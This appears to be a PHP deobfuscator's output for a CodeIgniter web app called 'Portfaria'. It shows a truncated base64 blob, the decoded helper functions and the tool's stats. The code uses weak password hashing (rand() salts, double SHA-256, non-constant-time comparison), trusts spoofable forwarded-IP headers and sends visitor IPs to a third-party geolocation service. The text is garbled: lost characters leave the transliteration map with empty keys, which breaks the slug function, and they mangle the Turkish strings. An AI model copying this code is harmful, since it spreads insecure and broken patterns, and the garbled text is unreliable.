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')))));
function getIcon($icon, $px = 16, $format = 'svg')
{
    return '<img hybrid="' . base_url('assets/img/icon/' . $icon . '.' . $format) . '" width="' . $px . '" height="' . $px . '">';
}

function toFixed($number, $decimals)
{
    return number_format($number, $decimals, '.', "");
}

function go($url, $duration = 0)
{
    if ($duration == 0) {
        header("Location: ${url}");
    } else {
        header("Refresh: ${duration};url=${url}");
    }
}

function getImage($name, $format)
{
    return base_url('assets/img/' . $name . "." . $format);
}

function alertError($err)
{
    return '<div class="alert alert-danger shadow w-100">
                     ' . $err . '
                        </div>';
}

function alertSuccess($suc)
{
    return '<div class="alert alert-success shadow w-100">
                           ' . $suc . '
                        </div>';
}

function getRoute($route, $options = array())
{
    return str_replace(array('(:any)', '(:num)'), array($options['any'] ?? null, $options['num'] ?? null), $route);
}

function filteredContent($content, $st = true)
{
    if ($st) {
        return htmlspecialchars(trim(strip_tags($content)));
    } else {
        return trim(strip_tags($content));
    }
}

function getIP()
{
    if (getenv("HTTP_CLIENT_IP")) {
        $ip = getenv("HTTP_CLIENT_IP");
    } else if (getenv("HTTP_X_FORWARDED_FOR")) {
        $ip = getenv("HTTP_X_FORWARDED_FOR");
        if (strstr($ip, ",")) {
            $tmp = explode(",", $ip);
            $ip = trim($tmp[0]);
        }
    } else {
        $ip = getenv("REMOTE_ADDR");
    }
    return $ip;
}
function checkReCaptchaStatus($field = null, $checkStatus = false): bool
{
    $a = get_instance();

    // nce reCaptcha ak m bakalm.
    $isOpen = $a->db->query('SELECT reCaptchaStatus FROM Settings')->row_array();
    if($checkStatus) {
        if($isOpen['reCaptchaStatus']) return true;
    }
    if(!$isOpen['reCaptchaStatus']) return false;

    if(!$checkStatus) {
        // Alan kontrol edelim.
        $getJson = json_decode($a->db->query('SELECT reCaptchaFields FROM Settings')->row_array()['reCaptchaFields'], true);
        if($getJson[$field] == '1') return true;
    }

    return false;
}
function kisalt($kelime, $str = 10)
{
    if (strlen($kelime) > $str) {
        if (function_exists("mb_substr")) $kelime = mb_substr($kelime, 0, $str, "UTF-8") . '..';
        else $kelime = substr($kelime, 0, $str) . '..';
    }
    return $kelime;
}

function timeConverter($date, $type = 0, $hour = false, $minute = false, $seconds = false)
{
    if ($type == 2) {
        $date = str_replace('/', '-', $date);
        $date = strtotime($date);
    } else {
        $date = strtotime($date);
    }

    if ($type == 0) {
        if ($hour == true) {
            if ($minute == true) {
                if ($seconds == true) {
                    return date("d/m/Y H:i:s", $date);
                } else {
                    return date("d/m/Y H:i", $date);
                }
            } else {
                return date("d/m/Y H", $date);
            }
        } else {
            return date("d/m/Y", $date);
        }
    } elseif ($type == 1) {
        $month = date("F", $date);
        $months = array(
            'January' => 'Ocak',
            'February' => 'ubat',
            'March' => 'Mart',
            'April' => 'Nisan',
            'May' => 'Mays',
            'June' => 'Haziran',
            'July' => 'Temmuz',
            'August' => 'Austos',
            'September' => 'Eyll',
            'October' => 'Ekim',
            'November' => 'Kasm',
            'December' => 'Aralk',
            'Jan' => 'Oca',
            'Feb' => 'ub',
            'Mar' => 'Mar',
            'Apr' => 'Nis',
            'May' => 'May',
            'Jun' => 'Haz',
            'Jul' => 'Tem',
            'Aug' => 'Au',
            'Sep' => 'Eyl',
            'Oct' => 'Eki',
            'Nov' => 'Kas',
            'Dec' => 'Ara'
        );
        $month = strtr($month, $months);
        if ($hour == true) {
            if ($minute == true) {
                if ($seconds == true) {
                    return date("d", $date) . " " . $month . " " . date("Y H:i:s", $date);
                } else {
                    return date("d", $date) . " " . $month . " " . date("Y H:i", $date);
                }
            } else {
                return date("d", $date) . " " . $month . " " . date("Y H", $date);
            }
        } else {
            return date("d", $date) . " " . $month . " " . date("Y", $date);
        }
    } elseif ($type == 2) {
        if ($hour == true) {
            if ($minute == true) {
                if ($seconds == true) {
                    return date("Y-m-d H:i:s", $date);
                } else {
                    return date("Y-m-d H:i", $date);
                }
            } else {
                return date("Y-m-d H", $date);
            }
        } else {
            return date("Y-m-d", $date);
        }
    } else {
        return date("Y-m-d H:i:s", $date);
    }
}

function permalink($str, $options = array())
{
    $str = mb_convert_encoding((string)$str, 'UTF-8', mb_list_encodings());
    $defaults = array(
        'delimiter' => '-',
        'limit' => null,
        'lowercase' => true,
        'replacements' => array(),
        'transliterate' => true
    );
    $options = array_merge($defaults, $options);
    $char_map = array(
        // Latin
        '' => 'A', '' => 'A', '' => 'A', '' => 'A', '' => 'A', '' => 'A', '' => 'AE', '' => 'C',
        '' => 'E', '' => 'E', '' => 'E', '' => 'E', '' => 'I', '' => 'I', '' => 'I', '' => 'I',
        '' => 'D', '' => 'N', '' => 'O', '' => 'O', '' => 'O', '' => 'O', '' => 'O', '' => 'O',
        '' => 'O', '' => 'U', '' => 'U', '' => 'U', '' => 'U', '' => 'U', '' => 'Y', '' => 'TH',
        '' => 'ss',
        '' => 'a', '' => 'a', '' => 'a', '' => 'a', '' => 'a', '' => 'a', '' => 'ae', '' => 'c',
        '' => 'e', '' => 'e', '' => 'e', '' => 'e', '' => 'i', '' => 'i', '' => 'i', '' => 'i',
        '' => 'd', '' => 'n', '' => 'o', '' => 'o', '' => 'o', '' => 'o', '' => 'o', '' => 'o',
        '' => 'o', '' => 'u', '' => 'u', '' => 'u', '' => 'u', '' => 'u', '' => 'y', '' => 'th',
        '' => 'y',
        // Latin symbols
        '' => '(c)',
        // Greek
        '' => 'A', '' => 'B', '' => 'G', '' => 'D', '' => 'E', '' => 'Z', '' => 'H', '' => '8',
        '' => 'I', '' => 'K', '' => 'L', '' => 'M', '' => 'N', '' => '3', '' => 'O', '' => 'P',
        '' => 'R', '' => 'S', '' => 'T', '' => 'Y', '' => 'F', '' => 'X', '' => 'PS', '' => 'W',
        '' => 'A', '' => 'E', '' => 'I', '' => 'O', '' => 'Y', '' => 'H', '' => 'W', '' => 'I',
        '' => 'Y',
        '' => 'a', '' => 'b', '' => 'g', '' => 'd', '' => 'e', '' => 'z', '' => 'h', '' => '8',
        '' => 'i', '' => 'k', '' => 'l', '' => 'm', '' => 'n', '' => '3', '' => 'o', '' => 'p',
        '' => 'r', '' => 's', '' => 't', '' => 'y', '' => 'f', '' => 'x', '' => 'ps', '' => 'w',
        '' => 'a', '' => 'e', '' => 'i', '' => 'o', '' => 'y', '' => 'h', '' => 'w', '' => 's',
        '' => 'i', '' => 'y', '' => 'y', '' => 'i',
        // Turkish
        '' => 'S', '' => 'I', '' => 'C', '' => 'U', '' => 'O', '' => 'G',
        '' => 's', '' => 'i', '' => 'c', '' => 'u', '' => 'o', '' => 'g',
        // Russian
        '' => 'A', '' => 'B', '' => 'V', '' => 'G', '' => 'D', '' => 'E', '' => 'Yo', '' => 'Zh',
        '' => 'Z', '' => 'I', '' => 'J', '' => 'K', '' => 'L', '' => 'M', '' => 'N', '' => 'O',
        '' => 'P', '' => 'R', '' => 'S', '' => 'T', '' => 'U', '' => 'F', '' => 'H', '' => 'C',
        '' => 'Ch', '' => 'Sh', '' => 'Sh', '' => '', '' => 'Y', '' => '', '' => 'E', '' => 'Yu',
        '' => 'Ya',
        '' => 'a', '' => 'b', '' => 'v', '' => 'g', '' => 'd', '' => 'e', '' => 'yo', '' => 'zh',
        '' => 'z', '' => 'i', '' => 'j', '' => 'k', '' => 'l', '' => 'm', '' => 'n', '' => 'o',
        '' => 'p', '' => 'r', '' => 's', '' => 't', '' => 'u', '' => 'f', '' => 'h', '' => 'c',
        '' => 'ch', '' => 'sh', '' => 'sh', '' => '', '' => 'y', '' => '', '' => 'e', '' => 'yu',
        '' => 'ya',
        // Ukrainian
        '' => 'Ye', '' => 'I', '' => 'Yi', '' => 'G',
        '' => 'ye', '' => 'i', '' => 'yi', '' => 'g',
        // Czech
        '' => 'C', '' => 'D', '' => 'E', '' => 'N', '' => 'R', '' => 'S', '' => 'T', '' => 'U',
        '' => 'Z',
        '' => 'c', '' => 'd', '' => 'e', '' => 'n', '' => 'r', '' => 's', '' => 't', '' => 'u',
        '' => 'z',
        // Polish
        '' => 'A', '' => 'C', '' => 'e', '' => 'L', '' => 'N', '' => 'o', '' => 'S', '' => 'Z',
        '' => 'Z',
        '' => 'a', '' => 'c', '' => 'e', '' => 'l', '' => 'n', '' => 'o', '' => 's', '' => 'z',
        '' => 'z',
        // Latvian
        '' => 'A', '' => 'C', '' => 'E', '' => 'G', '' => 'i', '' => 'k', '' => 'L', '' => 'N',
        '' => 'S', '' => 'u', '' => 'Z',
        '' => 'a', '' => 'c', '' => 'e', '' => 'g', '' => 'i', '' => 'k', '' => 'l', '' => 'n',
        '' => 's', '' => 'u', '' => 'z'
    );
    $str = preg_replace(array_keys($options['replacements']), $options['replacements'], $str);
    if ($options['transliterate']) {
        $str = str_replace(array_keys($char_map), $char_map, $str);
    }
    $str = preg_replace('/[^\p{L}\p{Nd}]+/u', $options['delimiter'], $str);
    $str = preg_replace('/(' . preg_quote($options['delimiter'], '/') . '){2,}/', '$1', $str);
    $str = mb_substr($str, 0, ($options['limit'] ? $options['limit'] : mb_strlen($str, 'UTF-8')), 'UTF-8');
    $str = trim($str, $options['delimiter']);
    return $options['lowercase'] ? mb_strtolower($str, 'UTF-8') : $str;
}

function generateSalt($length)
{
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $randomString;
}

function createSHA256($password)
{
    $salt = generateSalt(16);
    $hash = '$SHA$' . $salt . '$' . hash('sha256', hash('sha256', $password) . $salt);
    return $hash;
}

function checkSHA256($password, $realPassword)
{
    $parts = explode('$', $realPassword);
    $salt = $parts[2];
    $hash = hash('sha256', hash('sha256', $password) . $salt);
    $hash = '$SHA$' . $salt . '$' . $hash;
    return $hash == $realPassword;
}

function adminView($path)
{
    return 'dashboard/' . $path;
}

function getRole($accountID)
{
    $a = get_instance();
    $getUserRole = $a->db->where('accountID', $accountID)->get('AccountRoles')->row_array() or $getUserRole['roleID'] = 1;
    $getRole = $a->db->where('id', $getUserRole['roleID'])->get('Roles')->row_array();
    return $getRole['name'] ?? "ye";
}

function checkPerm($perm, $accountID = null, $permID = null)
{
    $a = get_instance();
    if (!$a->session->has_userdata("id")) {
        return false;
    }
    $accountID = $accountID !== null ? $accountID : $a->session->userdata('id');
    $getUserRole = $a->db->where('accountID', $accountID)->get('AccountRoles')->row_array() or $getUserRole['roleID'] = 1;
    if ($permID !== null) {
        $getPermission = $a->db->where('id', $permID)->get('Permissions')->row_array();
    } else {
        $getPermission = $a->db->where('name', $perm)->get('Permissions')->row_array();
    }
    $checkUserPerms = $a->db->where(array('roleID' => $getUserRole['roleID'], 'permission' => $getPermission['id']))->get('RolePermissions');
    $hasAllPerm = $a->db->where(array('roleID' => $getUserRole['roleID'], 'permission' => 1))->get('RolePermissions');
    if ($hasAllPerm->num_rows() > 0) {
        return true;
    }
    if ($checkUserPerms->num_rows() > 0) {
        return true;
    } else {
        return false;
    }
}

function addULog($page, $event)
{
    $a = get_instance();
    $ip = getIP();
    $staffID = $a->session->userdata("id");

    // Veritabanna aktar
    $staffData = array(
        'ip' => $ip,
        'staffID' => $staffID,
        'page' => $page,
        'event' => $event
    );
    $a->db->insert("StaffLogs", $staffData);
}

function addVLog($event)
{
    $a = get_instance();
    $ip = getIP();
    if ($a->session->has_userdata('id')) {
        $userID = $a->session->userdata("id");
    } else {
        $userID = NULL;
    }

    $getcontent = @file_get_contents('http://ip-api.com/json/' . $ip);
    if($getcontent !== FALSE) {
        $response = json_decode($getcontent, true);

        // Veritabanna aktaralm.
        $insertData = array(
            'ip' => $ip,
            'userID' => $userID,
            'city' => @$response['regionName'] ?? "Bilinmiyor",
            'country' => @$response['country'] ?? "Bilinmiyor",
            'event' => $event
        );
        $a->db->insert('UserLogs', $insertData);
    }
}

function verified($permission, $type)
{
    if ($type == 1) {
        if (in_array($permission, array(1, 2))) {
            return true;
        } else {
            return false;
        }
    } elseif ($type == 2) {
        if ($permission == 1) return "Ynetici";
        elseif ($permission == 2) return "Moderatr";
    }
    return false;
}

function sendWebhook($options = [])
{

    $a = get_instance();
    $getWebhook = $a->db->select('webhookSettings')->get('Settings')->row_array();
    $settings = json_decode($getWebhook['webhookSettings'], true);
    $timestamp = date("c", strtotime("now"));
    $array = [
        "embeds" => [
            [
                "title" => $options['title'],
                "description" => $options['description'],
                "url" => $options['url'],
                "color" => $options['color'],
                "fields" => [
                    [
                        "name" => "Balant",
                        "value" => "[" . $options['fieldView'] . "](" . $options['url'] . ")",
                        "inline" => true
                    ],
                    [
                        "name" => "Tarih",
                        "value" => timeConverter(date("Y-m-d H:i:s"), true, true, true),
                        "inline" => true
                    ],
                    [
                        "name" => "IP",
                        "value" => getIP(),
                        "inline" => true
                    ]
                ],
                "footer" => [
                    "text" => "Portfaria v" . $a->config->item('portfaria_version'),
                    "icon_url" => __URI__ . "/assets/img/favicon.png"
                ],
                "timestamp" => $timestamp
            ]
        ]
    ];
    if ($settings[$options['type']]['everyone'] == "true") {
        $array['content'] = "@everyone";
    }
    if ($options['type'] == 'blog' || $options['type'] == 'comment') {
        $array['embeds'][0]['image']['url'] = __URI__ . "/assets/img/news/" . $options['imageID'] . ".png";
    } elseif ($options['type'] == 'product') {
        $array['embeds'][0]['image']['url'] = "https://i.pinimg.com/originals/f2/12/4e/f2124e83e9fd8ddeb31ac7cdb59f544c.jpg";
    }

    if ($options['type'] == 'product' || $options['type'] == 'credit') {
        $array['avatar_url'] = "https://i.pinimg.com/originals/f2/12/4e/f2124e83e9fd8ddeb31ac7cdb59f544c.jpg";
    }
    $json = json_encode($array, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);

    $ch = curl_init($settings[$options['type']]['url']);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: application/json'));
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $json);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    $response = curl_exec($ch);
    curl_close($ch);
}

?>

Function Calls

None

Variables

None

Stats

MD5 713a9e3971bd11012f460bb9d5847eb3
Eval Count 0
Decode Time 99 ms